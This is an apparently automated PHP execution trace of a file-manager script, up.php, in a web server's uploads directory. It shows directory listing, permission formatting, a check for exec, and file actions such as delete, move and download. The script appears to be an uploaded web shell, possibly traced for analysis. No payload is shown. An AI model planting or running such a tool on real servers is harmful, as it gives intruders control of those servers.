4 271 0 0.014520 802016 html 1 /var/www/html/uploads/up.php 1277 1 '..'
5 272 0 0.014533 802016 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '..' 2 'ISO-8859-1'
5 272 1 0.014547 802288
5 272 R '..'
4 271 1 0.014560 802176
4 271 R '..'
4 273 0 0.014574 801920 human_filesize 1 /var/www/html/uploads/up.php 1300 1 4096
4 A /var/www/html/uploads/up.php 1148 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/up.php 1150 $n = 0
4 A /var/www/html/uploads/up.php 1152 $filesize /= 1024
4 A /var/www/html/uploads/up.php 1153 $n++
5 274 0 0.014633 801920 strpos 0 /var/www/html/uploads/up.php 1156 2 4 '.'
5 274 1 0.014646 801992
5 274 R FALSE
5 275 0 0.014659 801920 round 0 /var/www/html/uploads/up.php 1156 2 4 3
5 275 1 0.014672 801992
5 275 R 4
4 A /var/www/html/uploads/up.php 1156 $filesize = 4
5 276 0 0.014696 801920 strpos 0 /var/www/html/uploads/up.php 1158 2 4 '.'
5 276 1 0.014708 802248
5 276 R FALSE
5 277 0 0.014722 801920 substr 0 /var/www/html/uploads/up.php 1164 3 'kMGTPE' 0 1
5 277 1 0.014735 802016
5 277 R 'k'
4 A /var/www/html/uploads/up.php 1164 $suffix = 'k'
4 273 1 0.014769 801952
4 273 R '4 kB'
3 A /var/www/html/uploads/up.php 1300 $human = ' title="4 kB"'
4 278 0 0.014796 801920 decoct 0 /var/www/html/uploads/up.php 1311 1 16895
4 278 1 0.014809 801992
4 278 R '40777'
4 279 0 0.014822 801920 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 279 1 0.014835 801960
4 279 R TRUE
4 280 0 0.014849 801920 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 280 1 0.014861 801920
4 280 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 281 0 0.014884 801920 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 16895
4 A /var/www/html/uploads/up.php 965 $type = 'd'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= 'x'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= 'w'
4 A /var/www/html/uploads/up.php 987 $group .= 'x'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= 'w'
4 A /var/www/html/uploads/up.php 995 $other .= 'x'
4 281 1 0.014998 801960
4 281 R 'drwxrwxrwx'
4 282 0 0.015013 801960 html 1 /var/www/html/uploads/up.php 1315 1 'drwxrwxrwx'
5 283 0 0.015025 801960 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 283 1 0.015040 802232
5 283 R 'drwxrwxrwx'
4 282 1 0.015055 802120
4 282 R 'drwxrwxrwx'
4 284 0 0.015069 801920 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 284 1 0.015099 801984
4 284 R TRUE
4 285 0 0.015113 801920 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 285 1 0.015140 801984
4 285 R TRUE
4 286 0 0.015154 802016 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/..'
5 287 0 0.015167 802016 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/..' 2 'ISO-8859-1'
5 287 1 0.015182 802288
5 287 R '/var/www/html/uploads/..'
4 286 1 0.015197 802176
4 286 R '/var/www/html/uploads/..'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 288 0 0.015223 801544 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 288 1 0.015236 801584
4 288 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 289 0 0.015261 801920 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/..'
4 289 1 0.015274 802008
4 289 R '/var/www/html/uploads'
4 290 0 0.015289 801976 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 290 1 0.015305 802016
4 290 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
4 291 0 0.015355 801920 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 291 1 0.015368 801960
4 291 R TRUE
4 292 0 0.015381 801920 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 292 1 0.015398 801952
4 292 R 4
4 293 0 0.015411 802016 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 293 1 0.015425 802304
4 293 R ' '
4 294 0 0.015441 801984 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 295 0 0.015455 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 295 1 0.015470 802256
5 295 R 'create symlink'
4 294 1 0.015485 802144
4 294 R 'create symlink'
4 296 0 0.015499 801976 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 297 0 0.015512 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 297 1 0.015526 802248
5 297 R 'delete'
4 296 1 0.015540 802136
4 296 R 'delete'
4 298 0 0.015554 801976 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 299 0 0.015567 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 299 1 0.015582 802248
5 299 R 'rename'
4 298 1 0.015595 802136
4 298 R 'rename'
4 300 0 0.015609 801968 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 301 0 0.015621 801968 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 301 1 0.015635 802240
5 301 R 'move'
4 300 1 0.015648 802128
4 300 R 'move'
3 A /var/www/html/uploads/up.php 1245 $i++
4 302 0 0.015673 801920 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 302 1 0.015743 801952
4 302 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 303 0 0.015784 801920 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 303 1 0.015815 802248
4 303 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 304 0 0.015842 801864 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 304 1 0.015872 802192
4 304 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 305 0 0.015898 801888 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 305 1 0.015928 802216
4 305 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 306 0 0.015954 802112 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 307 0 0.015968 802112 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 307 1 0.015986 802416
5 307 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 306 1 0.016002 802304
4 306 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 308 0 0.016019 801968 urlencode 0 /var/www/html/uploads/up.php 1277 1 '/var/www/html/uploads/data'
4 308 1 0.016033 802064
4 308 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fdata'
4 309 0 0.016049 802016 html 1 /var/www/html/uploads/up.php 1277 1 'data'
5 310 0 0.016061 802016 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'data' 2 'ISO-8859-1'
5 310 1 0.016075 802288
5 310 R 'data'
4 309 1 0.016089 802176
4 309 R 'data'
4 311 0 0.016103 801920 human_filesize 1 /var/www/html/uploads/up.php 1300 1 4096
4 A /var/www/html/uploads/up.php 1148 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/up.php 1150 $n = 0
4 A /var/www/html/uploads/up.php 1152 $filesize /= 1024
4 A /var/www/html/uploads/up.php 1153 $n++
5 312 0 0.016163 801920 strpos 0 /var/www/html/uploads/up.php 1156 2 4 '.'
5 312 1 0.016175 801992
5 312 R FALSE
5 313 0 0.016189 801920 round 0 /var/www/html/uploads/up.php 1156 2 4 3
5 313 1 0.016201 801992
5 313 R 4
4 A /var/www/html/uploads/up.php 1156 $filesize = 4
5 314 0 0.016224 801920 strpos 0 /var/www/html/uploads/up.php 1158 2 4 '.'
5 314 1 0.016237 802248
5 314 R FALSE
5 315 0 0.016251 801920 substr 0 /var/www/html/uploads/up.php 1164 3 'kMGTPE' 0 1
5 315 1 0.016264 802016
5 315 R 'k'
4 A /var/www/html/uploads/up.php 1164 $suffix = 'k'
4 311 1 0.016289 801952
4 311 R '4 kB'
3 A /var/www/html/uploads/up.php 1300 $human = ' title="4 kB"'
4 316 0 0.016314 801920 decoct 0 /var/www/html/uploads/up.php 1311 1 16895
4 316 1 0.016327 801992
4 316 R '40777'
4 317 0 0.016341 801920 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 317 1 0.016354 801960
4 317 R TRUE
4 318 0 0.016367 801920 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 318 1 0.016379 801920
4 318 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 319 0 0.016402 801920 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 16895
4 A /var/www/html/uploads/up.php 965 $type = 'd'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= 'x'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= 'w'
4 A /var/www/html/uploads/up.php 987 $group .= 'x'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= 'w'
4 A /var/www/html/uploads/up.php 995 $other .= 'x'
4 319 1 0.016515 801960
4 319 R 'drwxrwxrwx'
4 320 0 0.016530 801960 html 1 /var/www/html/uploads/up.php 1315 1 'drwxrwxrwx'
5 321 0 0.016542 801960 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 321 1 0.016557 802232
5 321 R 'drwxrwxrwx'
4 320 1 0.016572 802120
4 320 R 'drwxrwxrwx'
4 322 0 0.016586 801920 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 322 1 0.016615 801984
4 322 R TRUE
4 323 0 0.016629 801920 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 323 1 0.016657 801984
4 323 R TRUE
4 324 0 0.016672 802016 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/data'
5 325 0 0.016684 802016 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/data' 2 'ISO-8859-1'
5 325 1 0.016700 802288
5 325 R '/var/www/html/uploads/data'
4 324 1 0.016715 802176
4 324 R '/var/www/html/uploads/data'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 326 0 0.016740 801544 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 326 1 0.016754 801584
4 326 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 327 0 0.016779 801920 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/data'
4 327 1 0.016791 802008
4 327 R '/var/www/html/uploads'
4 328 0 0.016805 801976 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 328 1 0.016821 802016
4 328 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
4 329 0 0.016896 801920 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 329 1 0.016914 801960
4 329 R TRUE
4 330 0 0.016927 801920 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 330 1 0.016944 801952
4 330 R 4
4 331 0 0.016958 802016 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 331 1 0.016971 802304
4 331 R ' '
4 332 0 0.016988 801984 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 333 0 0.017002 801984 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 333 1 0.017017 802256
5 333 R 'create symlink'
4 332 1 0.017032 802144
4 332 R 'create symlink'
4 334 0 0.017048 801976 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 335 0 0.017060 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 335 1 0.017075 802248
5 335 R 'delete'
4 334 1 0.017088 802136
4 334 R 'delete'
4 336 0 0.017102 801976 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 337 0 0.017115 801976 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 337 1 0.017129 802248
5 337 R 'rename'
4 336 1 0.017142 802136
4 336 R 'rename'
4 338 0 0.017156 801968 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 339 0 0.017168 801968 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
5 339 1 0.017182 802240
5 339 R 'move'
4 338 1 0.017195 802128
4 338 R 'move'
3 A /var/www/html/uploads/up.php 1245 $i++
4 340 0 0.017220 801920 sizeof 0 /var/www/html/uploads/up.php 1245 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4 340 1 0.017291 801952
4 340 R 6
3 A /var/www/html/uploads/up.php 1246 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 341 0 0.017332 801920 date 0 /var/www/html/uploads/up.php 1248 2 'n/j/y H:i:s' 1676252825
4 341 1 0.017364 802248
4 341 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1248 $timestamps = 'mtime: 2/12/23 20:47:05, '
4 342 0 0.017391 801864 date 0 /var/www/html/uploads/up.php 1249 2 'n/j/y H:i:s' 1676252825
4 342 1 0.017421 802192
4 342 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1249 $timestamps .= 'atime: 2/12/23 20:47:05, '
4 343 0 0.017447 801888 date 0 /var/www/html/uploads/up.php 1250 2 'n/j/y H:i:s' 1676252825
4 343 1 0.017477 802216
4 343 R '2/12/23 20:47:05'
3 A /var/www/html/uploads/up.php 1250 $timestamps .= 'ctime: 2/12/23 20:47:05'
4 344 0 0.017502 802112 html 1 /var/www/html/uploads/up.php 1254 1 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5 345 0 0.017517 802112 htmlentities 0 /var/www/html/uploads/up.php 1589 3 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05' 2 'ISO-8859-1'
5 345 1 0.017534 802416
5 345 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 344 1 0.017550 802304
4 344 R 'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4 346 0 0.017662 801920 substr 0 /var/www/html/uploads/up.php 1285 3 '.htaccess' 0 1
4 346 1 0.017678 802016
4 346 R '.'
4 347 0 0.017693 801984 urlencode 0 /var/www/html/uploads/up.php 1292 1 '/var/www/html/uploads/.htaccess'
4 347 1 0.017706 802096
4 347 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.htaccess'
4 348 0 0.017723 802032 html 1 /var/www/html/uploads/up.php 1292 1 '.htaccess'
5 349 0 0.017736 802032 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '.htaccess' 2 'ISO-8859-1'
5 349 1 0.017751 802304
5 349 R '.htaccess'
4 348 1 0.017765 802192
4 348 R '.htaccess'
3 A /var/www/html/uploads/up.php 1302 $human = ''
4 350 0 0.017791 801880 decoct 0 /var/www/html/uploads/up.php 1311 1 33188
4 350 1 0.017804 801952
4 350 R '100644'
4 351 0 0.017823 801880 function_exists 0 /var/www/html/uploads/up.php 1313 1 'posix_getuid'
4 351 1 0.017837 801920
4 351 R TRUE
4 352 0 0.017850 801880 posix_getuid 0 /var/www/html/uploads/up.php 1313 0
4 352 1 0.017862 801880
4 352 R 33
3 A /var/www/html/uploads/up.php 1313 $l = FALSE
4 353 0 0.017885 801880 permission_octal2string 1 /var/www/html/uploads/up.php 1315 1 33188
4 A /var/www/html/uploads/up.php 961 $type = '-'
4 A /var/www/html/uploads/up.php 974 $owner = 'r'
4 A /var/www/html/uploads/up.php 975 $owner .= 'w'
4 A /var/www/html/uploads/up.php 979 $owner .= '-'
4 A /var/www/html/uploads/up.php 982 $group = 'r'
4 A /var/www/html/uploads/up.php 983 $group .= '-'
4 A /var/www/html/uploads/up.php 987 $group .= '-'
4 A /var/www/html/uploads/up.php 990 $other = 'r'
4 A /var/www/html/uploads/up.php 991 $other .= '-'
4 A /var/www/html/uploads/up.php 995 $other .= '-'
4 353 1 0.017998 801920
4 353 R '-rw-r--r--'
4 354 0 0.018012 801920 html 1 /var/www/html/uploads/up.php 1315 1 '-rw-r--r--'
5 355 0 0.018024 801920 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '-rw-r--r--' 2 'ISO-8859-1'
5 355 1 0.018039 802192
5 355 R '-rw-r--r--'
4 354 1 0.018053 802080
4 354 R '-rw-r--r--'
4 356 0 0.018067 801880 array_key_exists 0 /var/www/html/uploads/up.php 1320 2 'owner_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 356 1 0.018097 801944
4 356 R TRUE
4 357 0 0.018111 801880 array_key_exists 0 /var/www/html/uploads/up.php 1326 2 'group_name' ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 357 1 0.018139 801944
4 357 R TRUE
4 358 0 0.018153 801976 html 1 /var/www/html/uploads/up.php 1335 1 '/var/www/html/uploads/.htaccess'
5 359 0 0.018166 801976 htmlentities 0 /var/www/html/uploads/up.php 1589 3 '/var/www/html/uploads/.htaccess' 2 'ISO-8859-1'
5 359 1 0.018181 802248
5 359 R '/var/www/html/uploads/.htaccess'
4 358 1 0.018197 802136
4 358 R '/var/www/html/uploads/.htaccess'
3 A /var/www/html/uploads/up.php 1338 $actions = []
4 360 0 0.018232 801504 function_exists 0 /var/www/html/uploads/up.php 1339 1 'symlink'
4 360 1 0.018252 801544
4 360 R TRUE
3 A /var/www/html/uploads/up.php 1340 $actions[] = 'create_symlink'
4 361 0 0.018290 801880 dirname 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads/.htaccess'
4 361 1 0.018310 801968
4 361 R '/var/www/html/uploads'
4 362 0 0.018333 801936 is_writable 0 /var/www/html/uploads/up.php 1342 1 '/var/www/html/uploads'
4 362 1 0.018360 801976
4 362 R TRUE
3 A /var/www/html/uploads/up.php 1343 $actions[] = 'delete'
3 A /var/www/html/uploads/up.php 1344 $actions[] = 'rename'
3 A /var/www/html/uploads/up.php 1345 $actions[] = 'move'
3 A /var/www/html/uploads/up.php 1348 $actions[] = 'copy'
3 A /var/www/html/uploads/up.php 1349 $actions[] = 'download'
4 363 0 0.018462 801880 function_exists 0 /var/www/html/uploads/up.php 1352 1 'exec'
4 363 1 0.018482 801920
4 363 R TRUE
4 364 0 0.018502 801880 sizeof 0 /var/www/html/uploads/up.php 1356 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download']
4 364 1 0.018529 801912
4 364 R 6
4 365 0 0.018550 801976 str_repeat 0 /var/www/html/uploads/up.php 1359 2 ' ' 30
4 365 1 0.018570 802264
4 365 R ' '
4 366 0 0.018596 801944 word 1 /var/www/html/uploads/up.php 1363 1 'create_symlink'
5 367 0 0.018617 801944 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'create symlink' 2 'ISO-8859-1'
5 367 1 0.018640 802216
5 367 R 'create symlink'
4 366 1 0.018662 802104
4 366 R 'create symlink'
4 368 0 0.018685 801936 word 1 /var/www/html/uploads/up.php 1363 1 'delete'
5 369 0 0.018704 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'delete' 2 'ISO-8859-1'
5 369 1 0.018733 802208
5 369 R 'delete'
4 368 1 0.018754 802096
4 368 R 'delete'
4 370 0 0.018785 801936 word 1 /var/www/html/uploads/up.php 1363 1 'rename'
5 371 0 0.018803 801936 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'rename' 2 'ISO-8859-1'
5 371 1 0.018825 802208
5 371 R 'rename'
4 370 1 0.018846 802096
4 370 R 'rename'
4 372 0 0.018867 801928 word 1 /var/www/html/uploads/up.php 1363 1 'move'
5 373 0 0.018886 801928 htmlentities 0 /var/www/html/uploads/up.php 1594 3 'move' 2 'ISO-8859-1'
